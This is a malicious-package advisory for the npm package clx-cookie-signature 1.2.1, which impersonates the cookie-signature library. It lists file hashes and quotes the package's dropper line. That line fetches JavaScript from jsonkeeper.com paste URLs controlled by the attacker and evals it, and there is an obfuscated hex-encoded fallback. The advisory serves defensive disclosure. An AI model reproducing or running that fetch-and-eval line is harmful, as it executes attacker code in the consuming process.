{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "index.js",
              "sha256": "9eb97dcae23527bc66606235e0ad5d2c89692d311120dec3a636acf479e53047",
              "tlsh": "663155137ea5d01712b121b3b1f3cc47fd6695601b9a46e0bb6454943ded6b28f30ed8"
            },
            {
              "path": "package.json",
              "sha256": "e82be7eb22a7cdb806c21d601fdbcf7199f908945bb118c22d86c7d031b6c12d",
              "tlsh": "02f04c1795685d7706fc5395f8640247b6125f1f00b48c0f36ba522c576745707a8f7a"
            }
          ],
          "package_integrity": [
            {
              "filename": "clx-cookie-signature-1.2.1.tgz",
              "hashes": {
                "sha1": "16a98bcda5b9b2178845a07df756ec788cdfed6e",
                "sha512_sri": "sha512-spfhApPggc7s8hRJAXMlnJGLYJQ3iqqCUpvmTu/dkos6z3hRvV1x3DUQaFq3TAPkq1kpmDQF5BOga2ILgEG7vg=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "clx-cookie-signature"
      },
      "versions": [
        "1.2.1"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007036",
        "import_time": "2026-06-18T23:09:38.765876167Z",
        "modified_time": "2026-06-18T22:28:34Z",
        "sha256": "9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3",
        "source": "amazon-inspector",
        "versions": [
          "1.2.1"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9e0e91601d276764067b1b209efd17a1f59ef03ff4fc814bcb22c495f4a0f9b3)\nPackage impersonates the popular cookie-signature library (copying its README, author field \u0027TJ Holowaychuk \u003ctj@learnboost.com\u003e\u0027, and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues `require(\u0027axios\u0027).get(\u0027https://www.jsonkeeper.com/b/MYUKZ\u0027).then(r =\u003e { eval(r.data.content_o); })`, eval\u0027ing whatever JSON the author currently hosts at that URL. A helper `g()` (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens \u0027axios\u0027, \u0027get\u0027, \u0027then\u0027 and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature \u2014 likely as a mistyped substitute for cookie-signature \u2014 runs arbitrary attacker code in the consuming process.\n",
  "id": "MAL-2026-6141",
  "modified": "2026-06-18T22:28:34Z",
  "published": "2026-06-18T22:28:34Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/clx-cookie-signature/v/1.2.1"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in clx-cookie-signature (npm)"
}